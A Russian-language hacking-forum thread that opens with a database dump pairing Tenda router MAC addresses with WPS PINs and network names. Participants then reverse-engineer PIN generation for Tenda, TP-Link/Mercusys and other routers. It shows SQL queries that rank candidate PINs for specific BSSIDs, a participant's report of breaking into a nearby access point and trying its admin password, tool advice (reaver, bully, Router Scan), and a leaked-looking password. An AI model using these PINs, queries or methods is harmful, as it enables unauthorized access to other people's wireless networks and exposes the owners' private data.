Tenda 11N Wireless Router 44950958 PCMR,
Tenda 11N Wireless Router 25086164 vicente
*************************** 54. row ***************************
MAC: C8:3A:35:02:AB:88
models:
Tenda 11N Wireless Router 61162907 Spark-Wehbi,
Tenda 11N Wireless Router 48826921 WISPEUROPA_2220
*************************** 55. row ***************************
MAC: C8:3A:35:02:B3:60
models:
Tenda 11N Wireless Router 25086164 ADRYAN,
Tenda 11N Wireless Router 14791116 Goufone_019E42
*************************** 56. row ***************************
MAC: C8:3A:35:02:B8:B8
models:
Tenda 11N Wireless Router 57667140 Hamza,
Tenda 11N Wireless Router 45331176 NuCom_02B8B8
*************************** 57. row ***************************
MAC: C8:3A:35:02:BA:08
models:
Tenda 11N Wireless Router 35383888 NuCom_02BA08,
Tenda Realtek Router, firmware: V11.13.01.23_multi 65335345 Anonymous
*************************** 58. row ***************************
MAC: C8:3A:35:02:BB:28
models:
Tenda 11N Wireless Router 25934908 Tenda_02BB28,
Tenda 11N Wireless Router 00000000 JAAFAR
*************************** 59. row ***************************
MAC: C8:3A:35:02:BB:90
models:
Tenda 11N Wireless Router 84355546 ahmad kadi @BilalNet03898007,
Tenda 11N Wireless Router 72674925 HARCHA
*************************** 60. row ***************************
MAC: C8:3A:35:02:BD:60
models:
Tenda 11N Wireless Router 36707256 Tenda 31,
Tenda 11N Wireless Router 28231660 NuCom_02BD60
*************************** 61. row ***************************
MAC: C8:3A:35:02:BF:78
models:
Tenda 11N Wireless Router 43015368 air2bite_Barbara,
Tenda 11N Wireless Router 16356153 Alaa12
*************************** 62. row ***************************
MAC: C8:3A:35:02:C0:48
models:
Tenda 11N Wireless Router 25086164 logar_patricia,
Tenda 11N Wireless Router 09278325 nuovareti1312
*************************** 63. row ***************************
MAC: C8:3A:35:02:C0:E0
models:
Tenda 11N Wireless Router 10601778 NuCom_02C0E0,
Tenda Wireless-N Router 01804485 IPCAM
*************************** 64. row ***************************
MAC: C8:3A:35:02:C0:F0
models:
Tenda 11N Wireless Router 09278325 nuovareti1002,
Tenda Wireless-N Router (rebranded) 01804645 d1a2n3i4l5o6
*************************** 65. row ***************************
MAC: C8:3A:35:02:C1:70
models:
Tenda 11N Wireless Router 43015368 air2bite_wifi,
Tenda Realtek Router, firmware: V11.13.01.25_multi 56080780 NETWORKING 2
*************************** 66. row ***************************
MAC: C8:3A:35:02:C2:88
models:
Tenda 11N Wireless Router 46371874 MOVISTAR_5F18,
Tenda 11N Wireless Router 18258813 Tenda_02C288
*************************** 67. row ***************************
MAC: C8:3A:35:02:C3:08
models:
Tenda 11N Wireless Router 91986597 Vzone76151122 Aboali,
Tenda 11N Wireless Router 80305972 AirWifi_FranciscoM
*************************** 68. row ***************************
MAC: C8:3A:35:02:C4:48
models:
Tenda Realtek Router, firmware: V11.13.01.25_multi 15652386 Tenda_02C448,
Tenda Wireless-N Router 01813203 ZeeBG_Bella
*************************** 69. row ***************************
MAC: C8:3A:35:02:C4:50
models:
Tenda 11N Wireless Router 25086164 ALVES,
Tenda Wireless-N Router 01813289 Lachezar
*************************** 70. row ***************************
MAC: C8:3A:35:02:CD:20
models:
Tenda 11N Wireless Router 26659435 ALIVE_NET,
Tenda 11N Wireless Router 25086164 ALIVE_NET
*************************** 71. row ***************************
MAC: C8:3A:35:02:D5:98
models:
Tenda 11N Wireless Router 35806691 ASbyte C2R3,
Tenda 11N Wireless Router 00000000 NuCom_339CB8
*************************** 72. row ***************************
MAC: C8:3A:35:02:D7:18
models:
Tenda 11N Wireless Router 24091534 YEHYA,
Tenda 11N Wireless Router 01861365 JUNIOR
*************************** 73. row ***************************
MAC: C8:3A:35:02:D7:D8
models:
Tenda 11N Wireless Router 35806691 CPT,
Tenda 11N Wireless Router 00000000 asad
*************************** 74. row ***************************
MAC: C8:3A:35:02:D8:30
models:
Tenda 11N Wireless Router 19028170 NuCom_02D830,
Tenda 11N Wireless Router 01864168 CW18
*************************** 75. row ***************************
MAC: C8:3A:35:02:DA:08
models:
Tenda 11N Wireless Router 57306254 Issam Home,
Tenda 11N Wireless Router 45623073 TARIK IBN ZIAD
*************************** 76. row ***************************
MAC: C8:3A:35:02:DB:B0
models:
Tenda 11N Wireless Router 91395733 NuCom_02DBB0,
Tenda 11N Wireless Router 13076344 RR
*************************** 77. row ***************************
MAC: C8:3A:35:02:DB:D0
models:
Tenda 11N Wireless Router 99879891 NuCom_02DBD0,
Tenda 11N Wireless Router 11560517 Alex
*************************** 78. row ***************************
MAC: C8:3A:35:02:DD:58
models:
Tenda 11N Wireless Router 37170943 OULED HADOU,
Tenda 11N Wireless Router 36789818 PENTAGRAM
*************************** 79. row ***************************
MAC: C8:3A:35:02:DD:78
models:
Tenda 11N Wireless Router 45652547 BN ANZARANE,
Tenda 11N Wireless Router 01877687 NO-WIFI
*************************** 80. row ***************************
MAC: C8:3A:35:02:E0:D0
models:
Tenda 11N Wireless Router 35806691 Virus,
Tenda 11N Wireless Router 18608465 youssef khoury
*************************** 81. row ***************************
MAC: C8:3A:35:02:E1:50
models:
Tenda 11N Wireless Router 25086164 SPR_JOELMA_MANUELA,
Tenda 11N Wireless Router 19750750 rada miteva
*************************** 82. row ***************************
MAC: C8:3A:35:02:E1:A0
models:
Tenda 11N Wireless Router 31285018 BiBi_TENDA,
Tenda 11N Wireless Router 13099640 Kabachek-Meg@net
*************************** 83. row ***************************
MAC: C8:3A:35:02:E8:90
models:
Tenda 11N Wireless Router 34137871 QUANTIS,
Tenda 3G 11N Router 01906080 status
*************************** 84. row ***************************
MAC: C8:3A:35:02:E9:F8
models:
Tenda 11N Wireless Router 99608279 Tenda_02E9F8,
Tenda 11N Wireless Router 01909685 CAPITAO
*************************** 85. row ***************************
MAC: C8:3A:35:02:EA:00
models:
Tenda 11N Wireless Router 25777390 TCD:DANIEL,
Tenda Wireless-N Router 01909760 Tenda
*************************** 86. row ***************************
MAC: C8:3A:35:02:EC:F0
models:
Tenda 11N Wireless Router 98770113 QUANTIS1,
Tenda 11N Wireless Router 34778272 Pantiru-WiFi
*************************** 87. row ***************************
MAC: C8:3A:35:02:ED:B0
models:
Tenda 11N Wireless Router 61348059 Wahid,
Tenda 11N Wireless Router 18558791 ZNMITKO
*************************** 88. row ***************************
MAC: C8:3A:35:02:F2:10
models:
Tenda 11N Wireless Router 50310395 NO NAME,
Tenda 11N Wireless Router 21464546 zubko-meganet
*************************** 89. row ***************************
MAC: C8:3A:35:02:F2:98
models:
Tenda 11N Wireless Router 61869684 Tahhan,
Tenda 11N Wireless Router 50189069 WISPEUROPA_2246
*************************** 90. row ***************************
MAC: C8:3A:35:02:F5:58
models:
Tenda 11N Wireless Router 25086164 CRISTIANE,
Tenda 11N Wireless Router 13234331 La Puchi lo sabe
*************************** 91. row ***************************
MAC: C8:3A:35:02:F9:C8
models:
Tenda 11N Wireless Router 71398570 BravaVlas,
Tenda 11N Wireless Router 51235031 OR050
*************************** 92. row ***************************
MAC: C8:3A:35:02:FC:48
models:
Tenda 11N Wireless Router 42750710 Jetnet,
Tenda 11N Wireless Router 01956566 Tenda_02FC48
*************************** 93. row ***************************
MAC: C8:3A:35:02:FF:08
models:
Tenda 11N Wireless Router 62912785 Wifi,
Tenda 11N Wireless Router 16821248 dhayweh-international
93 rows in set (0.08 sec)

Isica
16.07.2020, 00:06
В любом случае то что я нашёл похоже на дебаг информацию которая попала в прошивку случайно, а алгоритм случайно в прошивку положить ну это уже клиника



А что там можно было дебажить без алгоритма?

Monohrom
16.07.2020, 00:45
А что там можно было дебажить без алгоритма?



Это было из разряда фантазий. Не обращайте внимания

4Fun
16.07.2020, 00:59
Любопытно, почему именно 55? Это у Вас максимальное кол-во векторов?



Остальные были отсеяны по 4 причинам:

1) лимит DeltaMAC, определённый максимальным ключом в файле tenda_deltas.json (4096);

2) DeltaMAC не является одним из известных; такое может произойти, когда целевой MAC чётный, а MAC опорной точки нечётный, например 11:22:33:44:55:60 и 11:22:33:44:55:01

3) были найдены признаки левых нецелевых роутеров (например, статичные пины или MAC в пин по какому-либо известному алгоритму);

4) повторяющиеся записи.

По умолчанию ограничения на количество опорных точек нет, но его можно задать аргументом --anchors

Felis-Sapiens
17.07.2020, 00:34
В мае ковырял Netis WF2411D и обнаружил в прошивке интересную вещь:



В какой конкретно прошивке?

Monohrom
17.07.2020, 01:37
В какой конкретно прошивке?



Точно не скажу потому что было в мае. У меня с того времени только заметка что данный js файл был найден в нетисе. Прошивки не сохранилось, точного названия не помню.

Monohrom
18.07.2020, 05:14
И что-то мне подсказывает, что у реальной точки прошивка будет совпадать с прошивкой тех устройств, на основе которых подсчитался pin.



Cудя по всему так и есть.

Искомая Тенда:

CC:2D:21:1C:AF:41 69024733 Tenda Web (AC10), hardware: V1.0, firmware: V15.03.06.48_multi

Опорная Тенда благодаря какой нашёлся пин-код:

CC:2D:21:1C:AF:11 63151213 Tenda Web (AC10), hardware: V1.0, firmware: V15.03.06.48_multi

Обе тенды это:Tenda AC10 на базе Realtek RTL8197FS

На этих Тенда и пароли дефолтные появились

Алгоритм генерации пин-кодов для Тенд на базе броадкома eCos

https://github.com/drygdryg/Tenda-AC/blob/master/bcm/src/router/shared/broadcom.c

Искать функцию:wl_wpsPinGen()

Isica
18.07.2020, 18:05
На этих Тенда и пароли дефолтные появились



А пароль весёлый Пора составлять словарь табличку DeltaMAC--DeltaPass

TOX1C
18.07.2020, 20:05
Опорная Тенда благодаря какой нашёлся пин-код:



Под боком затесалась интересная точка, для которой от этих двух опорных сгенерировались разные пины, и они не подходят - не нашелся даже первый халф. Дважды увел точку в лок.

CC:2D:21:1C:AF:E1

Оно мнит себя Realtek Wireless AP, но похоже что не тем, которые засветились в базе.

Monohrom
18.07.2020, 22:16
Под боком затесалась интересная точка, для которой от этих двух опорных сгенерировались разные пины, и они не подходят - не нашелся даже первый халф. Дважды увел точку в лок.



Роутеров с такой прошивкой в базе всего 65 штук. Так что не удивительно.

Isica
19.07.2020, 00:17
Под боком затесалась интересная точка, для которой от этих двух опорных сгенерировались разные пины, и они не подходят - не нашелся даже первый халф. Дважды увел точку в лок.

CC:2D:21:1C:AF:E1



А эти пробовали?

MariaDB [Tenda]> select tenda_pin8('CC:2D:21:1C:AF:E1');
*************************** 1. row ***************************
tenda_pin8('CC:2D:21:1C:AF:E1'):
|----------------------------------------------------------------------------------------------|
|Опорные точки (ближайшие данные в базе):
|1) CC:2D:21:1C:A4:71, -2928, 913 пар, 125 уникальных дельт (1:7.30), 59 мажорных(вес 92.8%)
|2) CC:2D:21:1C:C8:01, +6176, 442 пар, 108 уникальных дельт (1:4.09), 46 мажорных(вес 86.0%)
|3) CC:2D:21:1D:09:31, +22864, 176 пар, 79 уникальных дельт (1:2.23), 17 мажорных(вес 64.8%)
|4) CC:2D:21:1D:1C:11, +27696, 175 пар, 72 уникальных дельт (1:2.43), 24 мажорных(вес 72.6%)
|5) CC:2D:21:1C:35:A1, -31296, 144 пар, 61 уникальных дельт (1:2.36), 12 мажорных(вес 66.0%)
|6) CC:2D:21:1C:19:11, -38608, 147 пар, 92 уникальных дельт (1:1.60), 24 мажорных(вес 53.7%)
|7) CC:2D:21:1D:71:A1, +49600, 118 пар, 67 уникальных дельт (1:1.76), 13 мажорных(вес 54.2%)
|8) CC:2D:21:1E:77:D1, +116720, 95 пар, 83 уникальных дельт (1:1.14), 6 мажорных(вес 18.9%)
|----------------------------------------------------------------------------------------------|
|После объединения осталось 680 пинов, из них 0 полностью перекрёстных (MaxX=1).
|Эффективность халф-оптимизации: 1.45.
|----------------------------------------------------------------------------------------------|
|ИТОГО: 468 фёст-халфов, 0 полно-перекрёстных.
|----------------------------------------------------------------------------------------------|
1 row in set (1.23 sec)

MariaDB [Tenda]> select * from tmp_TendaHalfs where X;
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| n | Half | X | Xh | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
| 1 | 4121 | 1 | 1 | 21 | 12 | 9 | 0 | 0 | 0 | 0 | 0 | 0 |
| 2 | 4187 | 1 | 1 | 11 | 1 | 10 | 0 | 0 | 0 | 0 | 0 | 0 |
| 3 | 4056 | 1 | 1 | 6 | 3 | 3 | 0 | 0 | 0 | 0 | 0 | 0 |
| 4 | 5121 | 1 | 1 | 5 | 2 | 3 | 0 | 0 | 0 | 0 | 0 | 0 |
| 5 | 9055 | 1 | 2 | 3 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 |
| 6 | 4122 | 1 | 1 | 3 | 0 | 2 | 0 | 1 | 0 | 0 | 0 | 0 |
+------+------+------+------+------+------+------+------+------+------+------+------+------+
6 rows in set (0.00 sec)

TOX1C
19.07.2020, 17:36
А эти пробовали?



Второй предложенный подошел.



Любопытно: подойдут ли коды?



Для вот этой (50:0F:F5:A1:CC:01) верный пин на втором месте (10415962). У всех бонусных точек wps выключен по умолчанию, поэтому они и отправились на брут.

roman921
19.07.2020, 19:33
А у кого-нибудь есть опыт атак на wps роутеры huavei, уязвимы ли они к pixiewps ? На сколько их сложно по wps пробить ?

Isica
19.07.2020, 20:28
Второй предложенный подошел.



Тогда так:

MariaDB [Tenda]> select * from tmp_TendaPins where PIN like '4187%' order by n;
+------+---------+------+------+------+------+------+------+------+------+------+------+
| n | PIN | X | m | m1 | m2 | m3 | m4 | m5 | m6 | m7 | m8 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
| 2 | 4187495 | 1 | 6 | 1 | 5 | 0 | 0 | 0 | 0 | 0 | 0 |
| 127 | 4187751 | 0 | 3 | 0 | 3 | 0 | 0 | 0 | 0 | 0 | 0 |
| 426 | 4187239 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |
| 443 | 4187494 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 |
+------+---------+------+------+------+------+------+------+------+------+------+------+
4 rows in set (0.00 sec)

TOX1C
19.07.2020, 20:30
А у кого-нибудь есть опыт атак на wps роутеры huavei



Опыт есть, все зависит непосредственно от модели роутера и его прошивки. Иногда неуязвимы, иногда полный набор - и pixiedust работает, и пин обычный mac2pin.

roman921
19.07.2020, 20:37
Опыт есть, все зависит непосредственно от модели роутера



Интересуют такие модели 24:da:33:81:XX:YY HUAWEI-B315-XXYY. У меня не получилось их ривером, они просто не присылали пакеты m1,m2. Стоял около роутера, сигнал -40 был.

TOX1C
19.07.2020, 20:50
HUAWEI-B315



С MiFi или роутерами для мобильного интернета обычно все плохо. Стоит попробовать роутерсканом к нему подключиться через вкладку Wireless Audit, или bully попробовать. Но скорее всего, там wps только по кнопке.

roman921
19.07.2020, 21:52
Стоит попробовать роутерсканом к нему подключиться



А его вообще есть смысл мучать ? Там поставили стойку с кнопкой экстренная связь, на экране браузер открыт и видать внутрь роутер всунули. Типа есть ли там инет на нем, а то может для обслуживания чисто он ? Но если он мобильный, то получается сэкономили, чтобы не тянуть туда ethernet нормальный ?

TOX1C
19.07.2020, 22:23
Интернета может и не быть, а может быть со спец.тарифом по контракту, и за наглое пользование интернетом с модема, будут проблемы. А модем воткнули, наверное, для независимости от проводной сети.

Смысла мучить мало, разве что сильно жжет ляжки несломленный роутер.

Monohrom
19.07.2020, 22:28
У всех бонусных точек wps выключен по умолчанию, поэтому они и отправились на брут.



Есть такой баг когда wps выключен визуально, а на самом деле он работает. Такое на некоторых нетисах есть и на асусах. Может быть и тут что-то подобное есть.

TOX1C
19.07.2020, 22:35
Может быть и тут что-то подобное есть.



На реалтековских чипах я видел такое, и даже вскрывал такие точки. У этих устройств броадком. Я проверю, прокатит ли, но сработать не должно.

Isica
20.07.2020, 03:53
Есть такой баг когда wps выключен визуально, а на самом деле он работает.



Что есть "выключен визуально"? Это когда в ProbeResp про wps ни слова, а он есть?

Monohrom
20.07.2020, 14:00
Что есть "выключен визуально"? Это когда в ProbeResp про wps ни слова, а он есть?



Это когда написано что у точки wps выключен. Но по факту ты можешь подключится с помощью пин-кода

Isica
21.07.2020, 01:54
Это когда написано что у точки wps выключен



Где написано?

Monohrom
21.07.2020, 04:54
Где написано?



В любой программе которая показывает состояние wps у точки. Router Scan, OneShot, Wash и тд.....

binarymaster
21.07.2020, 11:26
В любой программе которая показывает состояние wps у точки. Router Scan, OneShot, Wash и тд.....



Было бы неплохо записать видео-пруф с такой точкой (желательно через Router Scan), поскольку я их ещё не встречал, но опыт с этим было бы полезно иметь.

Isica
21.07.2020, 15:32
В любой программе которая показывает состояние wps у точки.



А они-то откуда его берут?

Я как-то привык смотреть состояние wps непосредственно в ProbeResp (походу, Beacon частенько умалчивает о wps).

А RS под XP обычно вообще ни чего не показывает, а при аудите, на все без исключения точки кричит 'WPS seems to be disabled' (что не мешает работе).

TOX1C
21.07.2020, 18:40
Было бы неплохо записать видео-пруф с такой точкой (желательно через Router Scan)



По возможности, когда-нибудь запишу и живое видео, но в этот раз придется довольствоваться чем есть.

Подобное замечено на роутерах ASUS RT-N10E / RT-N10LX. Очень редко у точки появляется wps сам по себе, но большую часть времени он "отключен". В beacon и probe response тегов wps нет. Но стоит только подключиться к такой точке через wps с помощью reaver с ключиком -L, и случится то, чего не ожидали.

Кстати, после такой... эммм... кхм... грубости, у точки теги появляются, и она видится как сеть с поддержкой wps.

Важно - у таких глючных точек, в веб-интерфейсе wps всегда включен.

Пруфы в личке.

TOX1C
25.07.2020, 01:20
Тогда так:



Точка сдалась от первого предложенного. Я надеялся, что там будет заводской пароль, но нет, там небрутабельный пасс, еще и сменен пароль администратора (пароль от сети не подошел), так что узнать что за девайс, и какая у него прошивка не вышло.



Может быть и тут что-то подобное есть.



Нет, не сработало. Прикрепил к посту скрин того, что происходит.

binarymaster
25.07.2020, 03:07
Я надеялся, что там будет заводской пароль, но нет, там небрутабельный пасс, еще и сменен пароль администратора (пароль от сети не подошел), так что узнать что за девайс, и какая у него прошивка не вышло.



Использовать ключ сети в качестве пароля к админке пробовали?

Ближайший похожий пароль в базе 3WiFi: Ornstein1Q321

vlad1995
26.07.2020, 15:08
Ребят чем можно попробовать получить пароль от роутера Ростелеком adsl на чипе rtl8671, reaver не берет.

TOX1C
03.08.2020, 00:06
Использовать ключ сети в качестве пароля к админке пробовали?



Пробовал в первую очередь, не подошел. И этот из 3wifi тоже не подошел.

Пока что насобиралось 2 интересные точки, к которым есть доступ по сети, но нет ни wps pin, ни пароля администратора. С этими роутерами, остается только ждать, пока найдут уязвимости.

TOX1C
04.08.2020, 16:12
На этих Тенда и пароли дефолтные появились



https://test.antichat.xyz/threads/281655/page-159#post-4308470

А иногда попадаются 8char mixedcase + digits пароли

Качество картинки неважное, но нашлась только такая.



Пора составлять словарь табличку DeltaMAC--DeltaPass



Для начала неплохо бы составить словарь всех возможных паролей, благо используются популярные английские слова длиной 4 и 5 букв и 3 цифры. Причем набор слов довольно ограниченный, если судить по тому, что нашлось в 3wifi

неплохо бы получить выгрузку с паролями, встречающимися на роутерах tenda, состоящих из 8, 9 или 10 прописных букв подряд, и 3 цифр после них.

Monohrom
04.08.2020, 20:02
Будет очень странно если через DeltaMAC можно будет найти правильный пин-код и пароль. И выходит что у Netgear такая же логика генерации пароля как у Тенд но свои слова. Нужно поискать Нетгиры которые подходят под целевой алгоритм

Monohrom
05.08.2020, 03:39
На буржуйском форуме порекомендовали искать зацепки к тп-линковскому алгоритму wps именно со стороны нетгира,



На каком форуме? Ссылка есть ? Почему нетгир? Даже если алгоритм сворованый у нетгира то каким образом они его узнали? Как по мне такие алгоритмы явно не должны светить на весь мир.

Всего может быть 10 млн комбинаций пин-кодов, так что пин-коды на различных моделях от разных вендорах могут совпадать. Это осложняет поиск.

TOX1C
05.08.2020, 20:35
Ссылка утеряна несколько лет назад, и кажись это было на hackforums. Предположили, что netgear, из-за внаглую сворованного веб-интерфейса, и некоторой вероятности того, что помимо веб-интерфейса украли еще что-то. Форум этот - подобие нашего ХАКЕР.РУ, так что к информации оттуда я серьезно не относился бы.

У нетгиров алгоритм может быть и похож на тенду, только беда в том, что их очень мало в 3wifi.

Их вполне хватает, как оказалось. Надо будет изучить поподробнее и эти устройства.

Monohrom
05.08.2020, 22:25
помимо веб-интерфейса украли еще что-то



Интерфейс своровать я ещё понимаю, но своровать алгоритм он значит есть в прошивке или я чего-то не понимаю



У нетгиров алгоритм может быть и похож на тенду, только беда в том, что их очень мало в 3wifi.



Даже если у нетгиров подобный алгоритм то это мало чем помогло бы.

Я не очень понимаю что искать в целовом алгоритме для Тенд. У меня изначально была надежда найти первые Тенды в партии и посмотреть на их пин-коды, DeltaMAC, возможно что-то ещё, в рассчёте на то что будет что-то интересное. Переиспользование мак адресов это осложняет.

Рытьё в прошивках дало мало толка - там ничего я не нашёл, возможно плохо искал. Кстати целевые тенды которые на eCos они не только на Lexra. Есть ещё версии на MIPS которыем можно покопать в дизасме.

Если у кого есть идеи в каком направление копать под этот алгоритм то делитесь идеями.

Isica
06.08.2020, 01:01
Есть ещё версии на MIPS которыем можно покопать в дизасме.



Думаю, стоит поковырять, дабы окончательно удостовериться, вшит ли там пин в виде константы (ибо в противном случае, он обязан генерироваться).



но своровать алгоритм он значит есть в прошивке или я чего-то не понимаю



Х.з., может в Нетгирах и есть?



Если у кого есть идеи в каком направление копать под этот алгоритм то делитесь идеями.



1. Найти две максимально длинные SolidChain (можно не совсем Solid) из разных партий (с разными точками начала отсчёта) и проанализировать пересечения между ними (если таковые будут иметь место) на предмет совпадения всей последовательности с момента пересечения.

2. Найти хотя-бы одну длинную SolidChain и исследовать периоды флуктаций различных битов-довесков (в надежде на их взаимонезависимость).

Monohrom
06.08.2020, 02:28
Х.з., может в Нетгирах и есть?



Я посмотрю в нетгирах. Если роутеры прошиваются на заводе то буржуи из нетгир должны на завод давать и утилиту для генерации пин-кодов, по идее . На заводе можно своровать или скопировать утилитку.

Isica
06.08.2020, 02:45
Подробный разбор DeltaPIN_8


1. Первое приближение.

Для наглядности, пока отбросим младшие 3 цифры дельты, т.е., разберём DeltaHalf_8 (что не совсем корректно, но, тем не менее, познавательно).

Вот все обнаруженные варианты:


+-----------+---------+------+
| DeltaHalf | Signed_ | n |
+-----------+---------+------+
| 0195 | +195 | 1954 |
| 0261 | +261 | 814 |
| 0196 | +196 | 193 |
| 9195 | -805 | 47 |
| 4418 | -5582 | 30 |
| 9261 | -739 | 29 |
| 1195 | -8805 | 25 |
| 0326 | +326 | 11 |
| 1261 | -8739 | 10 |
| 4483 | -5517 | 9 |
| 4484 | -5516 | 6 |
| 1196 | -8804 | 3 |
| 9196 | -804 | 3 |
| 9419 | -581 | 1 |
| 0327 | +327 | 1 |
| 9858 | -142 | 1 |
| 8884 | -1116 | 1 |
+-----------+---------+------+
17 rows in set (0.00 sec)

(два полседних варианта я считаю случайным вбросом).

Как видим, положительных дельт всего 5. И минимальную из них (+195) можно считать основой, а все остальные есть основа+довесок (довески могут быть сложными--состоять из нескольких битов, и разбираться с ними следует на полных, а не на халф-дельтах).

Идём дальше: дельты 1195,1196 и 1261, а также 9195,9196 и 9261 есть частные случаи для 195, 196 и 261 соответственно, природа которых мне известна (могу рассказать подробнее).

Таким образом, истинно-отрицательных дельт у нас всего три: 4418, 4483 и 4484 (и, похоже, ещё 9419).

(продолжение следует)

Monohrom
06.08.2020, 07:40
Радует что дефолтные пароли не совсем уж уникальные у Тенд. У нетгиров такая же ситуация

Isica
06.08.2020, 15:04
Иначе он может быть вшит в раздел загрузчика или в так называемую NVRAM.



Или в так-называемый Non-vol и т.п. И для прояснения ситуации, само-собой, желательно иметь полный дамп.



Получение образа

Есть 2 варианта:



3) слить дамп самому

TOX1C
09.08.2020, 01:33
Таким образом, истинно-отрицательных дельт у нас всего три: 4418, 4483 и 4484



Потенциальные дубли, с налезающими друг на друга пинкодами?? 032х - тоже подлые дубли, или что-то имеющее место быть? Они хоть и очень редкие, но больше похожи на довесок к 195528 (2FBC8h + 20000h = 4FBC8h, т.е. 326600 и так далее), нежели на попавшийся дубль.



частные случаи для 195, 196 и 261



Желательно с примерами mac и pin, которые к месту были бы и для остальных примеров дельт-"неформалов".



Найти хотя-бы одну длинную SolidChain



С этим нужно копать в сторону экспериментального генератора, точнее с его инструментами для работы с выгрузкой.

Вместо тех фильтров, которые есть сейчас, нужен рекурсивный парсер, основанный как раз на этих минимальных, 100% достоверных дельтах. С перекрестными проверками после каждой итерации.

Затея сулит огромными профитами:

- Возможность работы с многострадальным диапазоном C8:3A:35, с которым сейчас нельзя ничего сделать из-за горы нецелевых устройств, дублей, статических пинов, и невалида. 17 мегабайт полезных данных, лежит мертвым грузом.

- Получение достоверных дельт для генератора, вычисленных, а не собранных. Шанс попадания мусора из-за недочищенной выгрузки должен быть куда ниже.

- Получение solidchain длиной из всех роутеров в серии, в теории.

- И исходя из вышесказанного - исправление ошибки из прошлого. Всего лишь одна фотография наклейки, превратит сотни безликих Tenda Realtek и Tenda 11N во вполне осмысленные Tenda N304 и Tenda F3, к примеру.

Monohrom
17.09.2020, 10:50
Генерация пин-кода в D-Link DWR-932B.

https://pierrekim.github.io/blog/20...-vulnerabilities.html#weak-wps-pin-generation

Monohrom
02.10.2020, 19:52
Если кто захочет разобраться с генерацией пин-кодов на TP-LINK то неплохой идеей будет посмотреть на Mercysys. Mercysys - это бренд туполинков и у них есть странности с генерацией пин-кода. https://3wifi.stascorp.com/find?bssid=38:6B:1C:0*:*:*

Felis-Sapiens
03.10.2020, 00:16
Если кто захочет разобраться с генерацией пин-кодов на TP-LINK то неплохой идеей будет посмотреть на Mercysys. Mercysys - это бренд туполинков и у них есть странности с генерацией пин-кода. https://3wifi.stascorp.com/find?bssid=38:6B:1C:0*:*:*



Внутри группы со схожими пинами (скажем, 674....) разница между пинами равна разнице между суммой всех (или последних 3, по крайней мере) октетов BSSID.

Isica
03.10.2020, 15:46
Внутри группы со схожими пинами



Ещё бы знать, откуда берутся эти группы.

Поглядеть бы выборку с моделями...

PS

А добавили бы колонку с моделью в стандартной выборке--цены бы Вам не было!

Monohrom
03.10.2020, 18:22
Внутри группы со схожими пинами (скажем, 674....) разница между пинами равна разнице между суммой всех (или последних 3, по крайней мере) октетов BSSID.



Пин-коды причём повторяются, вот пины из групы 674

https://3wifi.stascorp.com/find?bssid=◯&pin=67487363

https://3wifi.stascorp.com/find?bssid=◯&pin=67487509

https://3wifi.stascorp.com/find?bssid=◯&pin=67487608

Isica
03.10.2020, 18:54
Пин-коды причём повторяются



А с чего бы им не повторяться при таком алго?

PS

А выборку кто-то уже сделал? Интересно: сколько всего известно констант-точек отсчёта?

Isica
04.10.2020, 01:11
Просьба к @binarymaster (https://forum.antichat.xyz/members/148032/), @Felis-Sapiens (https://forum.antichat.xyz/members/268504/) и другим админам 3wifi (если таковые существуют): пожалуйста, поищите в базе другие OUI с этой уязвимостью, и сделайте по ним выборку с моделями устройств.

Как-то так:


SELECT OUI, COUNT(DISTINCT(PIN))/COUNT(DISTINCT(PIN-CONV(LEFT(NIC,2),16,10)-CONV(MID(NIC,4,2),16,10)-CONV(RIGHT(NIC,2),16,10)))>2 y FROM [TABLE] GROUP BY OUI HAVING y ORDER BY OUI;

Felis-Sapiens
04.10.2020, 23:24
Поглядеть бы выборку с моделями...



Вот 945 шт.



Просьба к @binarymaster (https://forum.antichat.xyz/members/148032/), @Felis-Sapiens (https://forum.antichat.xyz/members/268504/) и другим админам 3wifi



Я не админ.

Isica
05.10.2020, 03:26
Нашёл я ещё несколько OUI с этой уязвимостью:


6C:59:40
8C:F2:28
C0:A5:DD
C8:E7:D8
E4:F3:F5

Isica
05.10.2020, 04:03
А картина не так проста, как ожидалось:

1) константы бывают и сингл-, кросс-модельными;

2) и как мажорными, так и минорными (возможно, это не миноры, а просто не дефолтные пины, но некоторые из них уж очень похожи на мажоры!)

3) кросс-OUI констант пока не выявлено, но данных для этого проанализировано слишком мало (всего 6 устройств из трёх малочисленных OUI и 3 костанты соответственно)

Выборка по OUI C0:A5D и C8:E78 может прояснить ситуацию.

А пока:


+---------+-----+---+-----------------------------------------------------------------+
| const | n | m | Models |
+---------+-----+---+-----------------------------------------------------------------+
| 2732971 | 113 | 3 | 305R, hardware: 1.0 | 305R, hardware: 2.0 | 325R, hardware: 2.0 |
| 6324054 | 33 | 3 | 301R, hardware: 1.0 | 305R, hardware: 2.0 | 305R, hardware: 1.0 |
| 1418951 | 29 | 2 | 301R, hardware: 1.0 | 301R, hardware: 2.0 |
| 214517 | 26 | 2 | 301R, hardware: 1.0 | 301R, hardware: 2.0 |
| 6739656 | 21 | 2 | 301R, hardware: 1.0 | 305R, hardware: 1.0 |
| 1672762 | 9 | 2 | 301R, hardware: 1.0 | 301R, hardware: 2.0 |
| 2877196 | 4 | 2 | 301R, hardware: 1.0 | 301R, hardware: 2.0 |
| 6748288 | 262 | 1 | 301R, hardware: 2.0 |
| 3032128 | 144 | 1 | 301R, hardware: 2.0 |
| 1198183 | 76 | 1 | 301R, hardware: 2.0 |
| 2299773 | 70 | 1 | 301R, hardware: 2.0 |
| 7198110 | 39 | 1 | 305R, hardware: 2.0 |
| 9288922 | 23 | 1 | 305R, hardware: 2.0 |
| 5107645 | 22 | 1 | 301R, hardware: 2.0 |
| 1782372 | 15 | 1 | 301R, hardware: 2.0 |
| 5874232 | 14 | 1 | 301R, hardware: 2.0 |
| 5737450 | 6 | 1 | 325R, hardware: 2.0 |
| 9686483 | 5 | 1 | 325R, hardware: 2.0 |
| 2980878 | 4 | 1 | 305R, hardware: 2.0 |
| 324127 | 3 | 1 | 301R, hardware: 2.0 |
| 7782299 | 3 | 1 | 305R, hardware: 2.0 |
| 1144728 | 2 | 1 | 325R, hardware: 2.0 |
| 4538175 | 2 | 1 | 305R, hardware: 1.0 |
| 6321639 | 2 | 1 | 325R, hardware: 2.0 |
